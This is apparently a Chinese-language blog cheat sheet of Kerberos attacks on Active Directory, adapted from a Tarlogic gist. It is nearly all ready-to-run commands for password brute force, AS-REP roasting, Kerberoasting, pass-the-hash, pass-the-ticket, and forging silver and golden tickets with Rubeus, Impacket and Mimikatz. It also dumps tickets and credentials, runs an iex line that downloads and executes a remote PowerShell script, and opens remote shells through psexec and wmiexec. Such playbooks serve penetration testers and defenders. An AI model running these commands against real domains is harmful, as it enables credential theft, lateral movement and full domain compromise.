0x01 暴力破解

使用kerbrute.py：

```
python kerbrute.py -domain <domain_name> -users <users_file> -passwords <passwords_file> -
outputfile <output_file>
```

使用带有暴力破解模块的Rubeus版本：

```
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name>
/outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
```

0x02 ASPEPRoast

使用Impacket的示例GetNPUsers.py：

```
# check ASREPRoast for all domain users (credentials required)
python GetNPUsers.py <domain_name>/<domain_user>:<domain_user_password> -request -format
<AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>

# check ASREPRoast for a list of users (no credentials required)
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -format
<AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
```

使用Rubeus:

```
# check ASREPRoast for all users in current domain
.\Rubeus.exe asreproast  /format:<AS_REP_responses_format [hashcat | john]> /outfile:
<output_hashes_file>
```

密码字典破解：

```
hashcat -m 18200 -a 0 <AS_REP_responses_file> <passwords_file>
john --wordlist=<passwords_file> <AS_REP_responses_file>
```

0x03 Kerberoasting攻击

使用Impacket示例GetUserSPNs.py：

```
python GetUserSPNs.py <domain_name>/<domain_user>:<domain_user_password> -outputfile
<output_TGSs_file>
```

使用Rubeus:

```
.\Rubeus.exe kerberoast /outfile:<output_TGSs_file>
```

使用**Powershell**：

```
iex (new-object
Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/maste
r/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat <TGSs_format [hashcat | john]> | % { $_.Hash } | Out-File -
Encoding ASCII <output_TGSs_file>
```

密码字典破解：

```
hashcat -m 13100 --force <TGSs_file> <passwords_file>

john --format=krb5tgs --wordlist=<passwords_file> <AS_REP_responses_file>
```

0x04 Pass The Hash & Pass The Key

通过使用Impacket示例：

```
# Request the TGT with hash
python getTGT.py <domain_name>/<user_name> -hashes [lm_hash]:<ntlm_hash>
# Request the TGT with aesKey (more secure encryption, probably more stealth due is the
used by default by Microsoft)
python getTGT.py <domain_name>/<user_name> -aesKey <aes_key>
# Request the TGT with password
python getTGT.py <domain_name>/<user_name>:[password]
# If not provided, password is asked

# Set the TGT for impacket use
export KRB5CCNAME=<TGT_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

使用Rubeus和PsExec：

```
# Ask and inject the ticket
.\Rubeus.exe asktgt /domain:<domain_name> /user:<user_name> /rc4:<ntlm_hash> /ptt

# Execute a cmd in the remote machine
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

0x05 Pass The Ticket (PTT)

从Linux中获得tickets

检查tickets的类型和位置：

```
grep default_ccache_name /etc/krb5.conf
```

如果没有返回，则默认为FILE：`/tmp/krb5cc_%{uid}`

如果是tickets文件，则可以复制粘贴（如果有权限）以使用它们。

如果是*KEYRING* tickets，你可以使用tickey来获取：

```
# To dump current user tickets, if root, try to dump them all by injecting in other user
processes
# to inject, copy tickey in a reachable folder by all users
cp tickey /tmp/tickey
/tmp/tickey -i
```

从Windows中获得tickets

使用Mimikatz：

```
mimikatz # sekurlsa::tickets /export
```

在Powershell中使用Rubeus：

```
.\Rubeus dump

# After dump with Rubeus tickets in base64, to write the in a file
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<bas64_ticket>"))
```

使用ticket_converter.py在Linux / Windows格式之间转换tickets：

```
python ticket_converter.py ticket.kirbi ticket.ccache
python ticket_converter.py ticket.ccache ticket.kirbi
```

在Linux中使用ticket：

使用Impacket示例：

```
# Set the ticket for impacket use
export KRB5CCNAME=<TGT_ccache_file_path>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

在Windows中使用ticket：

使用Mimikatz注入ticket：

```
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

使用Rubeus注入ticket：

```
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

使用PsExec在远程计算机中执行cmd ：

```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

0x06 Silver ticket

使用Impacket示例：

```
# To generate the TGS with NTLM
python ticketer.py -nthash <ntlm_hash> -domain-sid <domain_sid> -domain <domain_name> -spn
<service_spn>  <user_name>

# To generate the TGS with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name> -spn
<service_spn>  <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

使用Mimikatz:

```
# To generate the TGS with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:
<user_name> /service:<service_name> /target:<service_machine_hostname>

# To generate the TGS with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:
<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:
<service_machine_hostname>

# To generate the TGS with AES 256 key (more secure encryption, probably more stealth due
is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:
<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:
<service_machine_hostname>

# Inject TGS with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

使用 Rubeus注入ticket：

```
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

使用PsExec在远程计算机中执行cmd ：

```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

0x07 Golden ticket

使用 Impacket 示例：

```
# To generate the TGT with NTLM
python ticketer.py -nthash <krbtgt_ntlm_hash> -domain-sid <domain_sid> -domain
<domain_name>  <user_name>

# To generate the TGT with AES key
python ticketer.py -aesKey <aes_key> -domain-sid <domain_sid> -domain <domain_name>
 <user_name>

# Set the ticket for impacket use
export KRB5CCNAME=<TGS_ccache_file>

# Execute remote commands with any of the following by using the TGT
python psexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python smbexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
python wmiexec.py <domain_name>/<user_name>@<remote_hostname> -k -no-pass
```

使用 Mimikatz:

```
# To generate the TGT with NTLM
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<krbtgt_ntlm_hash>
/user:<user_name>

# To generate the TGT with AES 128 key
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:
<krbtgt_aes128_key> /user:<user_name>

# To generate the TGT with AES 256 key (more secure encryption, probably more stealth due
is the used by default by Microsoft)
mimikatz # kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:
<krbtgt_aes256_key> /user:<user_name>

# Inject TGT with Mimikatz
mimikatz # kerberos::ptt <ticket_kirbi_file>
```

使用Rubeus注入ticket：

```
.\Rubeus.exe ptt /ticket:<ticket_kirbi_file>
```

使用PsExec在远程计算机中执行cmd ：

```
.\PsExec.exe -accepteula \\<remote_hostname> cmd
```

0x08 杂项

已知密码获取NTLM：

```
python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "
<password>".encode("utf-16le")).digest())'
```

参考资料：

```
https://www.tarlogic.com/en/blog/how-to-attack-kerberos/
https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a
```

新文章将同步更新到我的个人公众号上，欢迎各位朋友扫描我的公众号二维码关注一下我，随时获取最新动态。

Bypass